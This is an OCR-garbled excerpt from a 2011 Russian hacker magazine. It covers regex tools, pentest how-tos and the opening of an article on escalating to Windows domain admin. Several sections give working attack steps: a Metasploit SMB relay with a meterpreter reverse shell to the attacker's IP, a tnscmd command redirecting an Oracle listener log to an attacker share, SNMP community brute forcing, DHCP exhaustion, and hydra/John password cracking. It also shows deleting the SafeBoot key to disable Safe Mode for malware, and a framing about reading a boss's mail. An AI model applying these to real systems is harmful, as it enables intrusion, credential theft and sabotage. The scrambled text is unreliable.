ном графическом виде. Сервис stгfгiend [strfri end .com] позволяет для л юбой регу­лярки получить визуальное представление того, ка к она будет обрабатываться. Это сразу добавляет десять очков к пониманию. П росто попробуй вставить несколько реге­спов из учебника или откуда-либо еще и посмотреть граф их обработки - все тут же станет намного яснее. Регуля рное выраже­ние для проверки правильности e-mai l -Л[ [Л ГcJ\s]+]ГcJ [ [ ? : [-а-zО-9]+\. ]+[а-z]{2'} ]$ - может п оказаться чудовищн ым для новичка . Но все встает на свои места, когда видишь его графическое представление !см. скрин шот]. К тому же, это еще и отличное средство для того, чтобы б ыстрее разобраться в чужом [или своем, но давно составленном] регу­ля рном выражени и , что полезно даже тем , кто с регулярка м и п роблем не испытывает. Аналогичный функционал п редлагает раз­работка Gгaphгex !crotonresearch .com/ graph rex] , реал изованная в виде плагина для среды разработки Ecl ipse. Если ввести это же регулярное вы ражение в программе RegexBuddy [ regexbuddy.com] , то получ и ш ь не менее ценную п омощь. Для каждого токена [значи мого элемента] регу­лярного выражения п рограмма выдаст рас­шифровку: зачем он нужен и что в данном случае делает. Но главное то , что возможна и обратная конвертация. Ка к это выглядит? Через удобное меню ты выбираешь нужные тебе токены с понятным описанием - ска­жем, « позиция В начале строки», « после­довател ьность из не менее 2-х и не более

4-х си мволов», « символ ы от А до Z и цифры от О до 9», - а RegexBuddy сам составляет регуля рное выражение : « \A[A-ZO-9]{2,4}». С и нта ксис сильно отличается в разных языках п рограммирова ния , н о п рограмма поддерживает почти все вариации [ Perl, С#, РНР , Python , Java, JavaScript и другие ] . П олученную регулярку тут же можно про­тести ровать на п роизвольном тексте или сохран ить для будущего испол ьзова ния в базе данных, в которой изначально собрано множество готовых примеров. Аналогичные возможности предоста в-ляют и другие утилиты, в том ч исле Expгesso [u ltrapico.com] и The regulatoг Isourceforge.net/projects/regulator] . В отл и­чие от RegexBuddy они бесплатн ы, но и не настолько удобны. Напоследок хочу рассказать еще об одном любопытном методе, позволяющем каждому составлять регулярные выражен ия и при этом вообще не вникать в их синта ксис . Идея в том, чтобы п редоста вить п рогра м-ме текст и отметить в нем те фра гменты, которые должна находить регуля рка. П р иложение при этом само п ытается вы пол­н ить сопоста вление и составить при мерное регулярное выражение. Такой подход реа­л изован в утилите RegexMagic [regexmagic. сот] . Она , конеч но, не сможет сделать абсо­лютно все за тебя - различные параметры регеспа непременно придется уточнять и подстра ивать, но процесс работы выстроен таким образом, что работать с синтаксисом регулярных вы ражений не нужно вовсе. Несколько демонстраций с практически-м и при мерами на офи циал ьном сайте -наглядное тому подтверждение. :Х:

М ожно по-прежнему использовать стан­дартн ы й поиск с заменой для внесения п равки в тексте, а можно п риспособить регулярки для а втоматического выполнения самых сложных замен. И это лишь прими­тивный при мер .

Графическое представление peryлярного выражения

В рамках этой колонки я ни в коем случае не хочу рассказы вать о том , как составля ются регулярки . Базовые знания , которых впол­не достаточно для старта, можно получить, просто прочитав соответствующую статью в русской Wiki ped ia . Зато я точно знаю, как сделать процесс освоения , тести рования и использования регулярок п роще, чем и спешу п оделиться. Чтобы лучше осознать, что регулярное

� оз8 ХАКЕР 03 / 1 46/ 20 1 1

Page 34: Хакер март 2011

,..

• • Алексей «GreenDog» Тюрин l a g rr r d o g fёl g m a H. c o m l

as ас ЗАДАЧА: Создать GUI-интерфейс под Metasploit Framework.

РЕШЕНИЕ: П рошедш и м летом M S F обзавелся новым GU I -и нтерфейсом , написан­ным на Java. Это было хорошей заменой ста рому, кривоватому. Об этом я писал в одном из п рошлых номеров. Jаvа-гуй вырос. И теперь п ред­ставляет собой хороший продукт. Хотя, спартанский такой п олучился - консоль не замен ит. Удобно в нем разве что полазить по папочка м жертвы и л и порыскать по структуре модулей/сплойтов, которых ста но­вится все больше. Юзабил ити у него не на самом высоком уровне . Но некоторое время назад у нового гуя поя вился кон курент. Причем от стороннего фаната-разработчи ка , который трудится не покладая рук. Гуи получился хорошеньки й , няш н ы Й такоЙ : l . И народу это творение понравилось. Название ему Iточнее, ей) -Armitage. Фанатика-созда­теля зовут Рафаэль Мудж. Сайт - fаstа пdеаsуhасkiпg.соm . Armitage, аналогично официальному GU l , написана на Java и ис­пользует RPC для взаимодействия с MSF Iхотя и используется RPC, но обертке требуются кое-ка кие части самого MSF, потому удаленное использование Armitage п ока невозможно) . Для работы новой GUI тре­буется Java версии не ниже 1 .6 , а также база данных I PostgreSQL или MySQL) , к которой подкл ючен MSF. Arm itage получилась и юзабельна, и очень наглядно-показател ьна. С такой штукой круто скриншоты делать. Тру-хакерские получаются : 1 . Видно, что Рафаэль подошел к делу с любовью. Сам а втор позиционирует свое творение как вещицу для тех, кто не юзает MSF каждый день, но хотел бы без проблем вос­пользоваться всеми бла га ми фрэЙм ворка. Но лучше оди н раз увидеть, чем сто раз п роч итать - для ЭТОЙ штуковины уж точно. А потому сразу отправляю на просмотр пары показательных видео: fasta ndeasyhack ing.com/media . Кроме красот и хорошей юзабельности есть еще небольшие полезные фичи и бонусы, которые в совокупности делают Агmitаgеуж точно круче официального G U I . Например :

красивое название и стильная иконка : ) ;

визуализация хостов поверженной сети , направления атаки ;

рекомендации по использованию сплойтов /развитию атаки;

понятно е и постоянное взаимодействие с базой данных .

Из косяков сразу стоит отметить некорректную работу с русскими коди­ровками и пока что отсутствующий м одуль I ncognito.

Установка и запуск Armitage . Та к как проект небол ьшой, то в нем нет поддержки старых версий MSF la

оно кому-то надо?) Потому желател ьно иметь наиболее свежую версию MSF Imsfupdate). Итак, уста новка под Win. 1. Разархивируем архив в папку с MSF. Если точнее, то armitage.bat - в корень, и конку - в icons; a rmitage - в msf3, папку armitage - в папку data. 2, Запускаем mslrpcd. Л ибо в mslconsole пишем loadxml, из которого получаем логин и пароль,

� 040

Metasploit'a А

подмена МАе, взлом Oracle, Zenmap

Пять хостов В локалке, один - уже наш

либо запускаем в консоли !стандартной виндовой или от MSF) команду:

ruby ms f rpcd -Р pas sword - f

Здесь-Р - парол ь на вход Iлогин msf), - 1 -демон в бэкграунд IHe работает в Win) . З. Arm itage запускаем , испол ьзуя a rmitage.bat. Вводим логин , пароль и другие настройки для подключения к msfrpcd, строка для подсоедине­ния к БД подгрузится автоматически. Есл и последнее не п роизошло, то можно сделать это ручкам и - настройки БД MSF'a лежат в %MSF%\ conlig\database .yml. 4. Кликаем Соппес! и наслаждаемся п рекрасным : 1 .

Установка под ·nix.2. 1 , Установить Агm itаgе проще всего, используя a pt-get :

apt-get install armitage

2. Второй пункт аналогичен Wiп-версии I разве что ruby можно убрать).

З. Данные по БД требуется указывать вручную. В BackT rack4 R2 ис­пол ьзуется MySQL:

Запускаем МуSQL : ы

/etc / ini t . d/mysql start

Запускаем Armi tage :

. /armitage . sh

Логин\пароль в настройках коннекта к БД - root\toor. Последние новости: Armitage теперь устанавливается автоматически по команде msfupdate.

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 35: Хакер март 2011

РЕШЕНИЕ:

ЗАДАЧА: Подменить МАС-адрес сете­вой карты.

Да -да -да , зада ча простая . Но это н и в коем случае не умаляет ее значимости. Напомню, МАС-адрес - это уни кал ьный 48-битн ый иден­тификатор , присваиваемый каждой единице оборудова н ия в сети . Помни , что МАС не выходит за п ределы локалки и обрубается при вы­ходе па кета из другого сегмента сети. А потому потребность в смене МАС"а связана в основном с « работой» в локальных сетях. Например , когда заблочат на ка ком-то сетевом оборудова нии за н еп равомер­ные действия типа сканирования . Фильтрация по МАС'у - одно из основных действи й . Все сетевухи позволяют изменять МАС-адрес, но настрой ки чаще всего запихнуты куда-то глубоко, и вносить измене­ния в производственных масштабах неудобно.

Под Uп i х существует классический macchanger la lobbs com/ macchanger] . М ожно поменять адрес на полностью рандомный МАС, частично рандомный IOT оп ределенного производителя ] либо ввести е го вручную.

i fconfig ethO down

macchanger - а ethO

Здесь мы п олучаем рандомный МАС на и нтерфейсе ethO, перед этим откл ючив его в первой строчке. Можно обойтись и системными средствам и I Li пuх ] :

i fconfig ethN hw ether <mac-address>

А под Wiп могу посоветовать ТМАС от наших индийских соратников

(tесhп itium.соm)-утилита хороша тем, что работает под все версии

винды. Можно выбирать производителя, отключать получение IP по

DНСР, а также есть пара полезных мелочей типа автоматического

РЕШЕНИЕ:

ЗАДАЧА: Администрировать сетевое оборудование, используя SNMP-прото­кол.

5 N M P IS imple Network Мапаgеmепt Protocol] - это протокол для удаленного управления всевозможн ыми сетевыми устройствами Iчто, думаю, понятно из расшифровки аббревиатуры] . Для своей работы SN МР испол ьзует U D Р-п ротокол. По ста нда рту сер­вис висит на 1 6 1 порту. Версий у SN М Р п ротокола аж цел ых три. Версия 1 самая незащищенная - пароль , а точнее так называемая соmmuпitу stгiпg , передается в открытом виде в UDP-пакете. Та к что можно проснифать. В версии 2 и 3 применяются хэширование и шифро­вание соответственно, но и они и меют криптографические проблемы. Хорошая практика - указы вать устройству, с каких I P могут приходить S N М Р-зап росы . Но и это при определенных условиях легко обходится, так как в U D P отсутствует « рукопожатие» - предварительный обмен па­кетами для установки соединения . Сам протокол подцерживается почти всеми сетевыми устройствами типа свитчей, роутеров, гейтвеев и так далее. Самые распространенные соmmuпitу stгiпg 'и - public с п равами чтения и private с правами чтения/записи настроек. Кстати, pu blic не такая уж бесполезная вещь, как может показаться. К примеру, по S N M P можно узнать точную версию ОС, список всех за пу-

ХАКЕР 03 1 1 46/ 2 0 1 1

т e:chnitium МАе Addr6S Сh.aпgб v5 R3 . ьу Shrey"s Za� f.ile Qptions .Qonate l:::1elp

Net_ conneclions МдCAddI= LUSt.,", 6еcnpоеодное сетееое coeдl4iel"l+e 4 No C2·17-FHO·BD·FO Up. Non Operalioмl

о ьро 8 VМwaf8 NetwOfk Adapte, VМnet1 No ()()'50-5б·СО{)0{)1 Up. Operational 100МЬро " Бесnpоеоаное сетееое соедl4iet1Иe 3 No DitobIed Disablec! Беcnpоеодное сетевое coeд� 2 No DitobIed Oisabled ПOДJ(J'lOЧeНИe no noкaJ1b/"lOA cerи У .. ()().14·1Е·16-41·2О Up, Non Opefalional O i>ps �

NetWOlk CorYIection Detais Connection . . . ПQ:l,К1IfOЧeIiИe по lЮК.аJ'lbНOCt сети

Device Name . . . Br�om Nellink (ТЫ) Gi�� Elnernel

Hardware ID . . . pcI\Yen_14e4&dev_1S92&SI..bsys_38cf17aa Ca-li!>лolion ID .{978ВдСС5-2В39·4F4З-ВЗ8f-lOC746Ot181ЗЗ)

МACAd<iess . . . 0О·14·1Е·16·41-2О (Chonged) Р-А. Semilnc. (0О-14-1Е) Address: 3Э65 Fleedorr

urk . . 1JP. Non Оре,atЮnol Speed . . . . . . е Ьро

IP Addte$$ Subnet Mask 0.0..0.0. 0..0.0.0

I Met,ic

Sent . . 386.827.899 Byte, (368.91 МВ) Recv . . 4В.193.669 Byte. (45.96 МВ)

Speed . . . о Byte", Speed . . . о Byte", ��"--_----L_ @]

онср . . . Enabled I L .... Obtained . 21.01.2011 10:11:25 TCP�P . . Enabled L .... Е""" •• . . . 22.01.2011 10:11:25 @j]

QisobIe I �МдC I DisableDHcel ReJeмelP I ReoewlP « Add » 1« Вemove » I r(�::r::;p,e

set' .1 Наглядное изменение МАС-адреса

отключения интерфейса на время смены адреса. А главное -сделано

в Индии : ) . Кстати, на основе смены МАС'а существует одна DoS-ата­

ка -израсходование всех IP-адресов подсети. Атака возможна, если

в локалке работает выдача по DНСР. Суть заключается в том, что мы с

подставных МАС'ов запрашиваем новые IP. DНСР-сервер выдает их

нам. Привязка MAC-IP на сервере действует чаще всего в течение 24 часов. Таким образом, достаточно быстро (в зависимости от размера

подсети) мы заполучим все свободные IP-aдpeca, и серверу будет

нечего выдать ни нам, ни кому бы то ни было еще :). К Metasploit'y есть

модуль, реализующий этутему- DНСР Ехhаustiоп. Я о нем упоминал

пару месяцев назад, когда описывал DNS MiTM. Взять можно тут:

digIПIПlа .огg/mеtаsрlоit/dпs dhcp.php

щенных процессов и открытых портов, информацию о сетевых и нтер­фейсах и прочие и нтересные дан ные. Кроме того, по SN М Р-п ротоколу можно получить полезную информацию от всевозможных штуковин типа обычных сетевых принтеров или чего-то более специализиро­ванного , например частей системы I B M Tivoli. Атеперь - статистика. Во-первых, протокол версии 1 до сих пор поддерживается и очень ши­роко распространен. Во-вторых, чаще всего на сетевых устройствах S N M P включен п о умолчанию, причем с общеизвестн ыми стрингами . И в-третьих , если поменять ста нда ртн ый пароль на веб-и нтерфейс или ssh к устройству адм ины не забывают, то с S N M P совсем другое дело. Да и на фай рволлах тоже нечасто блочат U DР-трафик. И немного п ра ктики. Самое важное - п одобрать эту самую соm muп i tу­строчку, а потому юзаем модуль M etasplo i t 'a :

Выбираем модуль :

use auxi l iary/ scanner/ snmp/ snmp_login

Указываем цель и запускаем:

set RHOSTS ip_addr

run

Подобрав строчку, можно проч итать основную информацию. Юзаем модуль аuхi liагу/sсаппег/sпm р/sпm р_епu т .

И еще одна важная деталь. S N M P - это уни версальный протокол

� 041

Page 36: Хакер март 2011

для самых рзличных устройств, а потому встречаются небольшие трудности с е го испол ьзова нием , та к как M IB [иерархия настроек! у разных устройств - разная, хотя и есть общие ветки [ которые как раз и ч итаются модуле м snmp_enum! . В м ета сплойте есть нескол ько модулей , заточенных под определенные зада ч и/устройства. Это

РЕШЕНИЕ:

ЗАДАЧА: Поиск сайтов по доменному имени.

И опять займемся собирательством информа ции . В ситуациях, когда взламы вается какой -то крупный портал, задача оп ределения поддо­менов - важная, как ни крути. Кто знает, с какого конца п ролезешь и откуда вылезешь? Ведь безопасность - вещь ком плексная и часто рушится с малого . . . У знаменитого портала netcraft.com есть одна п риятная возможность - поиск сайтов по части доменного имени. Например, мы хотим найти поддомены xakep.ru. П ишем xakep - полу­чаем результат [см. скриншот! . Конечно , есть и другие способы, но этот быстр и особенно хорош. если поддомены хостятся в разных местах. Еще положител ьная вещь - возможность использовать ла йтовые регулярные вы ражения при за просах:

- - любое количество СИМВОЛОВ i

? - любой символ i

[ ] - какой-то из перечисленных символов .

Например, более точный зап рос на поддомены xakep .ru выглядит следующим образом :

РЕШЕНИЕ:

ЗАДАЧА: Убрать возможность захода в безопасный режим Windows.

Наверное каждый, кто пользовался виндой, залезал в этот преслову­тый безопасный режим [Safe Mode! для решения каких-то п роблем в самой ОС, либо вычи щая накопивш иеся кучи виреЙ : l . Нута к вот, чтобы твой вирь не покоцал комп , да или п росто из хул и га нских целей [вспо­минаются ранние выпуски журнала Хакер : 1 1 , безопасный режим можно убить. Делается это просто - удалением следующей ветки реестра:

HKEY_LOCAL_МACHINE\ SYSTEM\CurrentControlSet\Control \

SafeBoot

В резул ьтате при поп ытке запустить безопасный режим появится «синий экран смерти» с ошибкой о кривости реестра. Важный момент: чтобы вносить изменения в данную ветку, требуются права админа . Вместо удаления можно поступить более хитро. У SafeBoot есть под-

РЕШЕНИЕ:

ЗАДАЧА: Захватить Windows с БД Oracle через TNS-listener.

В прошлом номере я писал об уязви мостях TNS-listener'a. Особенно при стандартных настройках в версиях Oracle 8/9. Этот пример ис­пол ьзуетту же уязви мость [а точнее - возможность установки файла логов!, поэтому не буду повторяться в описании . Фишка данного мето­да закл ючается в использовании set_log 'a совместно с 5MB Relay'eM . Ну, я думаю, ты понял идею.

� 042

скачка/зака ч ка конфигов для Cisco, а также раскрытие пол ьзовате­лей и шар на Wiпdоws-системах. Для других устройств можно посмотреть их M I B'bI и использовать спе­циализированный софт под S N М Р с net-snmp.sourceforge.net, который, кстати , предустановлен в ВТ 4 . .

Resu�s (аг xakep

Foul'Id!i.iltt

, � ...

... -Ii Ii Ii Ii Ii Ii Ii Ii Ii

""'- --

О· __ '"

--

Ммм ... поДДомены xakep.ru + ос детект

* . xakep . ru

Ата к можно увидеть все языковые поддомены googl' a :

www . google . * . ? ?

о.

В дополнение к полученной и нформации м ы видим примерную вер­сию ОС , а также владельца ' Р-адреса обнаруженных серверов.

. ' Peдcuoop pecctpil

- _ .... _ с....-Ii D ..... � - т.., -сз - �(По,...........) REG..5l -a � a � S D Sof_ е а _ Е:1 �"""Cf.OO!i6-ЖS5З

CJ {1036E9БS-EЗ2S-1IСЕ-8FCI-080028 {1ОЭ6Е9б7..f32S.IIСЕ..sFCI-OIIOO2В {1OЭtifCJ69-EЗ2!r.llа....сI-OllOO2В

CJ {4ОЭ6Е96А-E32S-llСЕ-IIfCl-oeoo:2f

D {«>Збf96f.fЗ2S.1 РО].ВСРНУТЬ D {<оэо<m.fЭ25.1 СФ.А&1Ъ . D {<ОЭО<97bl32S-1 НIIйтн .•• Е:1 {4OЭ!E91Ы3ZS-1 У.---. �{�' �

Отключим клаву да мышу?

ветки [ раздел ы!- M i n imal и N etwork, которые оп ределяют сервисы, запускаемые при старте системы в «безопасном режиме» или в « безопасном режи ме с поддержкой сетевых интерфейсов» . Таким образом мы можем, например , отключить мышу и кла ву. Кстати, эту возможность можно использовать и во благо : 1 .

Ита к, поднимаем 5 M B Relay cepBaK [естественно, в Metasploit 'e! :

use exploit /windows / smb/ smb_relay

Выбираем нагрузку :

set PAYLOAD windows /meterpreter/ reverse_tcp

Куда smЬrеlау ' им :

s e t RНOST I Р_жертвы

Куда коннектится back-connect шеллу :

set LHOST наШ_IР

exploit

I

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 37: Хакер март 2011

Далее запускаем регl-скри пт, который задаст Огасlе-серверу путь сохра нения логов, а именно - наш ком п с настроенным 5MB-ге lау'ем .

. / tnscmd . p l -h oracle_server_ip - -rawcmd

" ( DESCRIPTION= ( CONNECT_DATA= ( СШ= ( PROGRAМ= ) ( HOST= )

( USER= ) ) ( COММAND= log_fi l e ) (ARGUМENTS=4 ) ( SERVICE

=LISTENER) (VERSION=l ) (VALUE= \ \ \ \ ip_smb_relay_

server\ \ shar e ) ) ) "

РЕШЕНИЕ:

ЗАДАЧА: Отфильтровать отчеты Nmap B Zenmap'e.

Nmap - вещица всем известная и многофун кциональная . У нее есть несколько форматов для сохранения да нных. И мхо, самые юзабель­ные - это XML [пара м етр -оХ] и gnmap [ параметр -оG]. Последн ий ­так называемый g reppable птар, подогнанный под классическуюути­л итку g rep. При работе с круп ными сетями возникает необходимость быстро и четко делать выборки

и через пару секунд м ы п олуч и м адм и н истраторские права к систе­ме. Если O racle стоит ста рый [8/9 ] , то, возможно, операционка тоже старая , непро патченная , а потому релэй можно поп ытаться сделать на нее же. И самый важный мо мент - сервис O racle 'a должен быть запущен с правами пользователя , а не под систе м о й . Жал ь, что та кое быва ет нечасто. Видео- пример можно посмотреть на v imeo . com/550093 1 .

вида «Ор», « fp», « ufp» можно указать, что отображать нужно только открытые, отфильтрова нные или неотфильтрованные порты соответс­твенно, а также задать конкретн ые порты для отображения . Командой « s : » можно поставить текстовый фильтр на сервисы [см. скрин шот]. Та кже прикол ьные вещи в Zenmap'e - отображение топологи и сети и воз можность сохра нения профилей сканов. В общем, очень советую поп робовать. Из минусов стоит пожаловаться на лаговость GU I - есл и количество хостов превышает 1 000, то прога тупит около секунды после каждого кли ка .

поте м или иным пара м етра м . Но с g rep'oM операти вность не так вел и ка , особенно с учетом отсутс­твия под ви ндой такой команды. Потому для меня стало приятным знакомство с Zen map 'oM . Для справки : Zenmap - это офици­альный GU I к Nmap'y. Раньше я в нем вообще не видел смысла - в консол и все быстрее делается. Но с обработкой результатов

Фильтруем результаты в Zenmap

��� Инструменты Профиnь Помощь

�J Профиль [-1 I СкаНИРО8аниеl I Отмена I I nmap -sV -PN -р1-б5535 -n -Т4 -оА -::-11 . ':::;) -jL

Сераисы I • Имя хоста • Порт . Протокол . Состояние · Версия

он , конечно, помогает. Во­первых, Zenmap умеет ч итать результаты скана в XML -виде. Во- вторых, может работать сразу по нескольким отчетам в одном окне с объединением результа­тов . То есть, например , можно открыть скан портов всей сетки и скан какой-то ее части, но с оп ределенными сервисами на портах. В резул ьтате хосты не дубл и руются, а информация по каждому порту берется из ХМ L с большим количеством данных. И , наконец, можно использовать фильтры. Внизу есть кнопка

• • •

ssh • telnet •

• • • • • • •

Фильтр хостоа

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

80 tep open Apaehe httpd

111 « Фильтр хостов». В ней можно задавать подсетку I P-аАресов для отображения . Командами

12/44 ХОСТО8 показано Фильтр ХОСТО8: I s:APaehe ор:n ������������

РЕШЕНИЕ:

ЗАДАЧА: Поиск строк при дебагге B OllyDBG.

В данной задаче и меется в виду дина м ический поиск строк, то есть не по виртуальной памяти, а в момент выпол нения програ м м ы . Пред­положим , мы зани маемся реверсом какой-то проги и нам требуется уста новить выполнение п рограммы , когда запускается функция со строковыми параметрами , введенными нами ранее. Или нужно найти функцию сравнения строк в процессе взла м ы вания софти ны . То есть, нас интересуеттот момент, когда либо в регистрах будет адрес ячейки

Х А К Е Р 03 1 1 46/ 1 0 1 1

нашей строчки , л и б о п р и вызове фун кции в параметрах будет наша строка. Надеюсь, получилось внятно объяснить смысл задачи : 1 . Оп исан ная возможность отсутствует среди ста ндартных возможнос­тей Олл и . И большую часть дел приходится выполнять руч кам и . Зато у Олл и есть плагины . Данная задача решается OllyStepNSearch 'eM , который изначально написан Дидье Сти венсоном [blog .d id ierstevens.com/programs/ ollystepnsearch] . Плагин делает то , что оп исано выше, а именно - построчно вы пол­няет программу [по F7] и п роверяет, появиласьли ссылка на строку в регистрах или параметрах фун кций, П роблем с испол ьзованием , думаю, не возникнет. Все просто , :х:

� 043

Page 38: Хакер март 2011

• • тОгО m O r O Гcl i n b o x , r u

v v

уБоины �и ПЕНТЕСТ Повышение привилегий в домене Windows

Жажда власти издревле являлась движущей силой прогресса человечества. Любому из нас в той или иной степени присуща эта черта. Владеть недоступной другим или скрываемой ими информацией, и даже просто чувствовать, что это в твоих силах, хочет каждый. Поверь, сейчас это не так уж и сложно: достаточно подняться до администратора домена.

Домены, домены . . . Что та кое домен , знают все. Служба директо р и й , п ротокол доступа и еще куча разл ичных сервисов . И нформационная и нфраструктура почти любой более-менее круп ной орга н изации держится на ДО. И в первую оче редь ДО - это контрол ь доступа пол ьзователе й , а доменный адм и н - царь л юбого домена . Про водя тесты на прони кновение , ты взаимодействуешь со сре­дой фун кци онирования той или и н ой систе м ы . Ты от нее зави­с и ш ь, ты же на нее и вл и я ешь. Д в основе всего в пода вляющем большинстве случаев л ежит до . Только предста вь, как расширя­ются глаза заказ ч и ков и уча щается их пул ьс, когда ты показыва­е ш ь вновь созда н ную уч етную запись в группе доменных адм и ­н о в . Демонстрация силы и возможн остей рядо вых сотрудников I и нсайдеровl - одна из задач л юбого инфраструктурного пенте­ста . П однялся до админа - гото вь кошелек дл я премиальных . Н едавно одна моя подруга , наслушавшись о моих подвигах , ска­зала, что ей тоже очень хотелось бы ч итать почту своей началь­ницы . Н е знаю уж, зачем, п росто очень хотелось. П о е е м н е н и ю - это нереально и л и , п о крайней м е р е , к р а й н е сложно и ей тупо не под силу. Я же ответил , что это ни разу не та к, и что достаточ -

� 044

но будет пары часов , чтобы ее науч ить. Эта тема м н е т а к понра ­вилась , что я решил в с е системати з и ровать и нарисовать статью. Статью п ро 1 ОО%-ый убо й н ы й пе нтест. Ита к, наша задача - получ ить права пользователя из группы доменных адм и нов . Та к как м ы и граем роль инсайдера, условим­ся , что у нас есть доменная учетка с ограниченными права м и , а также возможность доступа к подкл юченной к домену м а ш и н е с права м и локал ьного адм и н истрато ра. Согласен , что пол ьзовате­лям дал е ко н е всегда дают права локал ьных адм и нов , но, те м не менее , н е так уж и редко. И вообще, п ри н ципиального значения это не и ме ет, в заключ ител ьной части статьи я покажу, как их можно получить. П о ка же для п ростоты будем сч итать, что та кие п ра ва есть. Мы будем испол ьзовать общие подходы , не связа н н ы е с э кс­плуатацией кон кретн ых уязвим осте й . Так что можешь пока за быть о своих л юб и м ы х exploi t -db и vupen , а также о Ca nvas и Соге I m pact . С м ел о ста вь фреймворк и чихай на а нти в и рус - ЭКСПЛОЙ­ты нам все равно н е по надобятся . Д вот про Metasplo i t забы вать не стоит - та м есть чудные модули и meterp reter в помощь. Ну что, поехал и ?

ХАКЕР 0 3 / 1 46/ 2 0 1 1

Page 39: Хакер март 2011

Локальный шелл с правами администрато­ра как результат рефлексии

Старо, как мир Наверняка ты знаешь о то м , что хэши локальных пол ьзо вателей хра нятся в реестре и могут л е гко быть получены п р и нал и ч и и адм инских п р и в илегиЙ . Н е буду долго утомлять тебя избиты м и веща м и , б е р и с а i п ' а и снимай хэши . Есл и хранен и е L М -хэшей не запрещено ' надеюсь, тебе н е семерку выдел и л и ) , то подбор паролей н е зай м ет много времени . И уже че рез часик у тебя на руках будет пароль встроенной учетной записи локал ьного адм и н и стратора . С новыми окошка м и будет посложнее , та к ка к L M там уже не хранится, но и здесь, возможно , тебе повезет. Особенно , есл и у тебя в арсенале десяток м а ш и нок с нормальн ы м и в идюха м и . Ну а есл и и не повез ет, тоже не расстра ивайся - одн а ко об этом чуть позже. Итак, парол ь встроенной адми нской учетки получен. Зачем он нужен? Л юбой админ , по оп ределению, ленив , и это нам на руку. В половине 'есл и не бол ьше) случаев этот па роль подойдет к куче других узлов. Это значит, что доступ ты и к этим машинам легко получи ш ь. А есл и н ет? Есл и пол ити ка запрещает использо вание оди наковых паролей на разных узлах , адм и н ы , как правило , п р идум ывают некие паттер н ы , по которым и гене рят па рол и . Н а п ри м ер , предста в и м , что после подбора получено значение АdmЗ9 1 . Первое, что нужно сделать, это определ ить сам алгоритм гене­рации пароля . В да нном случае похоже на то , что первая часть неизменна , а вторая - предста вляет собой некое трехз начное ч и сло . В луч ш е м случае ты поймешь , как оно форми руется ' например , последн и й о ктет I Р-адреса ) , в худшем - соста вь небольшой сло­варик со всеми возможн ы м и комби нация м и . И вовсе н еобязател ьно делать это в ручную - тебе поможет « Ва ня - потрош ител Ь".

Коп и руем файл j ohn . i n i в J ohn i n i . b ak 'на всякий слу­чай) и создаем новый файл следующего содержа н и я :

john.ini [ Li s t . Ru1es : Word1i s t ]

$ [ 0 - 9 ]

$ [ 0 - 9 ] $ [ 0 - 9 ]

$ [ 0 - 9 ] $ [ 0 - 9 ] $ [ 0 - 9 ]

Вдаваться в подробности си нта ксиса правил - это н е одну статью п и сать. Н о общий смысл та ко в : дл я любо­го па роля из входн ого списка в конец будет добав­лено три элемента из мн ожества {О , 1 , 2 ,З ,4 ,5 ,6),8 ,9} . После этого создае м входной файл с парол я м и .

pentest.wordlist

Adm

Дале е за пуска ем генера цию :

ХАКЕР 0 3 / 1 46/ 2 0 1 1

-

Хэши последних входов в домен помогут определить пароли доменных пользователей

j ohn- 3 8 6 . exe -word1 i s t =pentest . word1 i s t

- ru1es - s t dout > pent e s t . passes

На выходе получае м словарь с парол я м и дл я пере­бора . Для реал изации брута я п редпоч ита ю использо­вать олдс кул ьную гидру:

hydra - 1 <имя_попьзователя> - р pas swords .

txt -т L 1 9 2 . 1 6 8 . 12 0 . 1 1 smbnt

Н е забывай поста в ить л итеру L, чтобы указать гидре прове рять локал ьные , а н е доменные уч етн ы е да н н ы е . В качестве и м е н и пользователя испол ьзу­ем то же, которое было обна руже но на локальной машине . На русской винде, есл и адм и н ы н е насле­дил и в груп повых политиках , это « Администратор » . Однако не спеши и вспом н и о коди ровках. Вместо « Админ истратора» п р идется подставлять загадочную строчку « а- Ё-Ёбва в®а» . За пускаем и ждем резул ь­татов . Кстати , замечу, что гидра отл и ч н о ра ботает в нескол ько потоков, та к что можеш ь хоть всю сетку зараз брутить.

Наследили . . . Ну и что? Ну, на брутил и локал ьных адм и н ов . . П р и чем здесь домен-то? Согласен , не забываем про ко нечную цель и двигаемся дал ьше. Наверняка ты не раз замечал , что, выдрав рабочий ноут и з сети и поехав погреться , ты в л юбой момент можешь залогиниться со своей доменной учетко й . Зададимся вопросом ' ка к же это, домен ведь недо­ступен? Ответ крайне прост. Ка к раз для та ких целей В и нда хра н ит кэш и рова н н ы е па рол и посл едн их доменных входов. Чудо это называется Cached Domain Credent ia ls . Н а с а м о м дел е , это совсем н е хэши , и ничего обще-го со знако м ы м и тебе LM или NTLM они не и м е ют. Поэтому и толку ОТ н и х н и ка кого , пока ты их не про­б рутишь. Кол ич ество хра н и м ы х хэшей оп ределяется значением п а раметра CachedLogonsCount раздела реестра Н КЕУ _LOCAL_MAC Н I N E\50ftwa re\M ic rosoft\ Wi ndows NT\Cu rrent Version\Winlogon . По умол чанию все версии Винды хранят хэши десяти последних входов. Логично , что среди этих хэшей наверняка встретятся и хэши адм ина . С н и мать эти хэши умеют м н огие тулзы , вкл ючая Ca in и PWDumpX. Первым удобно пол ьзоваться на локальной машине , вто рой же ты може ш ь юзать дл я удаленной работы . Запуска й

� links

• Из описания алгоритма формирования LМ-хэша ста новятся очевидн ыми все его слабости: еп . wiki pedia .org/wiki/ LM hash ;

• Кэш и рование доменных входов в ОС Windows : sup­port . m icrosoft .com/ kbI9 1 3485;

• Страничка poke­hashball : grutz.ji n­gojango. n et/exploits/ pokehash Ьа ll. htm [;

• Свежая и , наверное, лучшая тулза для реализации pass-the-hash : dark­net .org. u k/20 1 0/1 0/ W I ndows-credent ia ls­ed ito r-v l - 0 - l i st -add­ed it - logon -sessions ;

• Слабенькая попытка М iсrоsоft прикрыть 5 М В Relay: microsoft .com/tec h­net/secu rity/bu llet i n/ msD8-D68 . msрх ;

• Обзор 5 М В s ign ing : su ppo rt. microsoft . com/kbI887429;

· 5mbRelay3 позволит получить п ра ва локального адм и н истратора системы : hta rasco. org/secu rity/smbrelay.

� 045

Page 40: Хакер март 2011

Запускаем новую сессию с использованием )(Эшей доменного админа

